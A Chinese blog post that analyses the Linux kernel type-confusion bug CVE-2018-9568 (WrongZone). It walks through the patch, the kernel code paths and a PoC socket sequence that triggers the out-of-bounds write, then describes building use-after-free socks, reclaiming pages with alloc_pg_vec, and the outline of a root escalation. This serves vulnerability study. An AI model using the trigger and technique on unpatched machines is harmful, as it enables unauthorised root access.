一、前言

CVE-2018-9568是一个Linux内核中的类型混淆漏洞,Zer0Con2019有研究人员分享了利用该漏洞root Android的思路,并给漏洞命名为WrongZone。这是一个影响范围较广的漏洞,本文记录了学习分析该漏洞及在 x86_64 Linux 完成利用的过程。

二、漏洞分析

2.1 补丁

该漏洞的补丁链接:commit 9d538fa60bad4f7b23193c89e843797a1cf71ef3

diff --git a/net/core/sock.c b/net/core/sock.c
index 9b7b6bbb2a23e7..7d55c05f449d30 100644
--- a/net/core/sock.c
+++ b/net/core/sock.c
@@ -1654,6 +1654,8 @@ struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)

 		sock_copy(newsk, sk);     
 
+		newsk->sk_prot_creator = sk->sk_prot;
+
 		/* SANITY */
 		if (likely(newsk->sk_net_refcnt))
 			get_net(sock_net(newsk));

补丁代码很简单,只有一行赋值代码,因此sk_prot和sk_prot_creator是该漏洞的关键。

sk_prot与sk_prot_creator

它们都是struct sock结构体的成员:

struct sock {
	/**/
	struct sock_common	__sk_common;
	/**/
#define sk_prot			__sk_common.skc_prot
	/**/
	struct proto		*sk_prot_creator;
};

struct sock_common {
   /**/
	struct proto		*skc_prot;
   /**/
};

sk_prot_creator和sk_prot(即skc_prot)在源码中的定义如下:

@sk_prot_creator: sk_prot of original sock creator (see ipv6_setsockopt, IPV6_ADDRFORM for instance)

@skc_prot: protocol handlers inside a network family

在用户态调用int socket(int domain, int type, int protocol);创建socket时,第一个参数domain引导内核进入不同的xx_create()函数中,通过统一的接口sk_alloc()为struct sock申请内存空间。不同的domain对应不同的prot,不同的prot对应不同大小的struct sock。

/*
sys_socket(family, type, protocol);
	sock_create(family, type, protocol, &sock);
		__sock_create(current->nsproxy->net_ns, family, type, protocol, res, 0);
			err = pf->create(net, sock, protocol, kern);		// 如inet_create(),inet6_create()
				inet_create(struct net *net, struct socket *sock, int protocol, int kern)
                    sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot);	// 申请struct sock
*/

struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
		      struct proto *prot)
{
	struct sock *sk;

	sk = sk_prot_alloc(prot, priority | __GFP_ZERO, family);
	if (sk) {
		sk->sk_family = family;
		sk->sk_prot = sk->sk_prot_creator = prot;			// 指向同一个prot
		sock_lock_init(sk);
		sock_net_set(sk, get_net(net));
		atomic_set(&sk->sk_wmem_alloc, 1);

		sock_update_classid(sk);
		sock_update_netprioidx(sk);
	}

	return sk;
}

如:AF_INET对应tcp_prot,AF_INET6对应tcpv6_prot,它们对应的struct sock大小不同,且属于不同的slab。

struct proto tcp_prot = {
	.name			= "TCP",
	/**/
	.obj_size		= sizeof(struct tcp_sock),
	/**/
};

struct proto tcpv6_prot = {
	.name			= "TCPv6",
	/**/
	.obj_size		= sizeof(struct tcp6_sock),
	/**/
};

proto_register(&tcp_prot, 1);
proto_register(&tcpv6_prot, 1);
int proto_register(struct proto *prot, int alloc_slab)
{
	if (alloc_slab) {		
		prot->slab = kmem_cache_create(prot->name, prot->obj_size, 0,
					SLAB_HWCACHE_ALIGN | prot->slab_flags,
					NULL);			// 创建一个新的slab
		/**/
	}
	/**/
}

在/proc/slabinfo中可以看到以上这两个slab的信息,该系统上TCP slab中每个object的大小是0x7c0,TCPv6 slab中每个object的大小是0x880:

当释放struct sock时,需要将其释放到正确的slab中,所以sk_alloc()中把prot赋值给sk->sk_prot和sk->sk_prot_creator。

struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
		      struct proto *prot)
{
	/**/
		sk->sk_prot = sk->sk_prot_creator = prot;
	/**/
}

二者在什么情况下不同

setsockopt()的IPV6_ADDRFORM特性可以把一个socket从AF_INET6转成AF_INET类型, 在代码中的表现就是把sk->sk_prot从tcpv6_prot改成tcp_prot。

/* 调用路径:
	sys_setsockopt()
		sock->ops->setsockopt() - inet6_stream_ops->setsockopt
		sock_common_setsockopt()
			sk->sk_prot->setsockopt() - tcpv6_prot->setsockopt
			tcp_setsockopt()
				icsk->icsk_af_ops->setsockopt() - ipv6_specific
					ipv6_setsockopt()
						do_ipv6_setsockopt()
*/
static int do_ipv6_setsockopt(struct sock *sk, int level, int optname,
		    char __user *optval, unsigned int optlen)
{
	/**/
	case IPV6_ADDRFORM:
			/**/
			if (sk->sk_protocol == IPPROTO_TCP) {
				struct inet_connection_sock *icsk = inet_csk(sk);
				/**/
				sk->sk_prot = &tcp_prot;
				/**/
				sk->sk_family = PF_INET;
				/**/
			} 
	/**/
}

因为sk->sk_prot会被改变,所以需要sk->sk_prot_creator来记录当前sk所属的slab及大小。在关闭socket时,正是通过sk->sk_prot_creator确定该sk应该释放到哪个slab中。当sk->sk_prot_creator和sk不匹配时,sk_prot_free()的释放过程中会产生漏洞。

/*
	sk_free()
		__sk_free()
			sk_destruct()

*/

static void __sk_destruct(struct rcu_head *head)
{
	struct sock *sk = container_of(head, struct sock, sk_rcu);
	/**/
	sk_prot_free(sk->sk_prot_creator, sk);		
}

2.2 PoC

对于如何构造一组不匹配的sk->sk_prot_creator和sk,漏洞发现者给出了PoC:

int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);			// 创建一个ipv6的socket,监听端口42424
bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr));
listen(fd, 5);

client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);			// 使用ipv4去连接该端口
connect(client_fd, (struct sockaddr *)&client_addr1, sizeof(client_addr1));

new_fd = accept(fd, NULL, NULL);			// 连接建立后,服务端产生一个新的new_fd
setsockopt(new_fd, SOL_IPV6, IPV6_ADDRFORM, &val, sizeof(val));		// 使用setsockopt()+IPV6_ADDRFORM将socket属性从ipv6转为ipv4

connect(new_fd, &unsp, sizeof(unsp));        // connect AF_UNSPEC 后,原本的socket连接将断开,可重新建立新的连接
bind(new_fd, (struct sockaddr *)&bind_addr4, sizeof(bind_addr4));       
listen(new_fd, 5);							// 断开连接后,用new_fd监听一个新端口42421

client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);			// 再次使用ipv4去连接该端口
connect(client_fd, (struct sockaddr *)&client_addr2, sizeof(client_addr2));

newest_fd = accept(new_fd, NULL, NULL);		// 此时进入sk_clone_lock(),生成一个有问题的sk,导致后续关闭newest_fd时发生越界写

PoC代码执行时,会不断申请struct tcp6_sock(object size为0x880,实际内容占用size为0x840)和struct tcp_sock(object size为0x7c0,实际内容占用size为0x7a8),对应到TCPv6 slab和TCP slab中堆块的变化如下图所示:

两次accept()操作都会触发执行sk_clone_lock()函数,为什么第二次生成的sk有问题呢?

如下图所示:

  • 第一次accept()时,进入sk_clone_lock()函数,通过fd生成new_fd。具体操作是,根据sk->sk_prot从TCPv6 slab中申请一个堆块,并完成sk_prot和sk_prot_creator的拷贝。

  • 之后,通过setsockopt() + IPV6_ADDRFORM改变new_fd属性,也就是将new_fd的sk->sk_prot改成了tcp_prot。

  • 第二次accept()时,进入sk_clone_lock()函数,根据sk->sk_prot从TCP slab中申请一个堆块,并完成sk_prot和sk_prot_creator的拷贝。此时,newest_fd的sk和sk->sk_prot_creator不匹配,那么close(newest_fd)在释放sk的过程中就会触发漏洞。

close(newest_fd)中触发漏洞造成越界写的过程:

/*
	tcp_close() -> sock_put() -> sk_free() -> __sk_free() -> sk_destruct() \
	-> __sk_destruct() -> sk_prot_free(sk->sk_prot_creator, sk);
*/

static void sk_prot_free(struct proto *prot, struct sock *sk)
{
	struct kmem_cache *slab;
	/**/
	slab = prot->slab;
	/**/
	if (slab != NULL)
		kmem_cache_free(slab, sk);		// 进入slab free逻辑
	/**/
}

/*
	kmem_cache_free() -> slab_free() -> __slab_free() \
	-> set_freepointer(s, tail, prior);
	s -> slab
	tail -> sk
	prior -> virt_to_head_page(sk)->freelist
*/
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
	*(void **)(object + s->offset) = fp;
}

此时在set_freepointer()函数中,该object(TCP slab中)的size是0x7c0,s->offset(TCPv6 slab中)的值是0x840,于是发生越界写。

三、漏洞利用

3.1 基本信息

公开利用情况:

  1. 利用思路
  2. 利用代码

我的测试环境:

  • x86_64 Linux虚拟机
  • 开启的防护措施:KASLR,SMEP,SMAP,SELinux

整体利用思路参考了以上三篇文章,不同点在占用UAF堆块所用的方法上。所以重点分享两个方面:

  1. 如何构造UAF堆块
  2. 如何占用UAF堆块

3.2 构造UAF堆块

执行PoC,在close(newest_fd)前后,查看TCP slab的状态。发现错误释放的堆块及其后续堆块,都被放入了slow path的freelist。

用图来表示是这样的:

  • 正常情况下,newest_fd的sk->sk_prot_creator跟sk是匹配的,执行close(newest_fd)时,它占用的堆块被释放后,freelist正常更新。

  • 漏洞场景下,newest_fd的sk->sk_prot_creator跟sk不匹配。导致越界写newest_fd占用的堆块,并将该堆块链入当前TCP slab的slowpath。

此时,如果申请大量socket,会先从fastpath申请堆块,再从slowpath申请堆块,于是newest_fd右侧的堆块被分配了两次,导致许多socket指向同一个sk object。

参考 百度安全实验室 文章中"利用方法2"的思路,通过调整slab的状态、socket申请和释放顺序,构造两个稳定的UAF sk。

(1)提前申请大量TCP sk,保证用于构造UAF sk的Evil TCP slab是刚从buddy allocator中新分配出来的。

(2)构造右图所示的sk结构,保证漏洞sk(wrongzone sk)后面有3个可操作的sk(follow_sk),且该slab中所有object被分配使用。

(3)释放follow_sk_2后,freelist会指向它,并将其next指针置空。

(4)释放漏洞sk(wrongzone sk),更新freelist指针并越界写入一个值。

此时,还在使用中的follow_sk_0和follow_sk_1被链入freelist中,即存在两个UAF sk。

3.3 占用UAF堆块

UAF sk在TCP slab中,该slab只有一种结构体(struct tcp_sock),无法使用内核UAF的传统利用方法,找其他相同大小的结构体堆块占用UAF堆块。

于是考虑释放掉整个Evil TCP slab(8个物理页面),使用其他slab/其他方式占用这些物理页,从而控制其中的两个UAF sk。

这里尝试了两种方法,最终使用方法2利用成功:

  1. 公开资料中使用的physmap spray
  2. USMA的alloc_pg_vec()

physmap spray

  1. 释放Evil TCP slab中所有object后,通过mmap()往物理页面喷数据。

    结果:失败。

    猜测原因:Evil TCP slab在释放后并未还给buddy allocator进行重新分配。

    调试确认:调试发现Evil TCP slab的head page被挂载在kmem_cache_node的partial链表中,确实没有还给buddy allocator。

    解决方案:通过更改exp中使用的lotsof_sk数量,以及释放lotsof_sk的顺序,可以成功将Evil TCP slab还给buddy allocator。

  2. 继续使用mmap()方式喷数据。

    结果:失败。

    猜测原因:已释放的Evil TCP slab被其他slab/内存操作给占用了。

    调试确认:shmem_inode_cache slab占用了Evil TCP slab所在的物理页面。

  3. 猜测是mmap()方式不行,测试使用setxattr()(kvalue = kvmalloc(size, GFP_KERNEL);)能否占上Evil TCP slab

    结果:成功。

结论:Evil TCP slab已经成功释放给buddy allocator用于重新分配,但physmap spray时的大量mmap()操作导致Evil TCP slab所在页面被分配给shmem_inode_cache slab使用。因此需要寻找其他方式稳定占用Evil TCP slab,以便在用户态读写Evil TCP slab所在物理页面内容(两个UAF sk)。

USMA的alloc_pg_vec()

setxattr() 只能单向将数据写入堆块,后续无法读取/操作堆块内容,因此需要找其他占用后还能读写的堆块。

这里选择USMA:用户态映射攻击中涉及到的一个环形缓冲区,该缓冲区大小由用户态指定。使用mmap()可以把这块空间映射到用户态,从而读写该缓冲区。

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
	/**/
	pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
	/**/
	for (i = 0; i < block_nr; i++) {
        // 从buddy allocator申请block_nr个block_size(用户态指定)大小的块,order=block_size>>12
		pg_vec[i].buffer = alloc_one_pg_vec_page(order);
		if (unlikely(!pg_vec[i].buffer))
			goto out_free_pgvec;
	}
	/**/
}
  • 一次申请10个0x8000的块并mmap() —— 成功率大概75%

    目标slab有时在最后面(第10个),有时在最前面(第1个),有时占用不到。

  • slab释放是通过rcu进行的,有一定延迟,所以释放的早占用的晚,或者释放的晚,占用的早,都会导致占用不成功。

    static void free_slab(struct kmem_cache *s, struct page *page)
    {
    	if (unlikely(s->flags & SLAB_DESTROY_BY_RCU)) {
    		struct rcu_head *head;
    
    		if (need_reserve_slab_rcu) {
    			int order = compound_order(page);
    			int offset = (PAGE_SIZE << order) - s->reserved;
    
    			VM_BUG_ON(s->reserved != sizeof(*head));
    			head = page_address(page) + offset;
    		} else {
    			/*
    			 * RCU free overloads the RCU head over the LRU
    			 */
    			head = (void *)&page->lru;
    		}
    
    		call_rcu(head, rcu_free_slab);
    	} else
    		__free_slab(s, page);
    }
    
  • 一次申请1个0x8000的块并mmap(),直到找到目标块 —— 成功率99%。

后面就是常规的利用,可以参考基本信息小节中提到的几篇文章,流程大致如下:

  • 泄露内核地址绕KASLR
  • 改进程addr_limit获得读写任意内核地址的权限
  • 改modprobe_path
  • 用户态触发提权
  • 稳定exploit避免退出时系统崩溃

一张exp执行成功的图:

四、总结

CVE-2018-9568是一个类型混淆漏洞,从逻辑复杂的PoC代码中可以看出,这是一个不易被发现的漏洞。本文分析章节中,以struct sock中两个结构体指针sk_prot 和sk_prot_creator为切入点,分析了二者的创建点及更改点,然后对PoC构造类型混淆场景进而触发堆越界写的过程做了详细说明。利用章节记录了我在x86_64 Linux上适配利用代码的过程中,遇到的一些问题和解决办法,让我对slab和buddy allocator的申请释放过程有了更深入的理解。

五、参考文章

  1. Building-universal-Android-rooting-with-a-type-confusion-vulnerability
  2. KARMA带你看攻防:WrongZone从利用到修复
  3. Linux内核代码审计之CVE-2018-9568(WrongZone)
  4. CVE-2018-9568 WrongZone利用
  5. USMA:用户态映射攻击
  6. Slab Allocator in Linux Kernel
  7. 深度解析 slab 内存池回收内存以及销毁全流程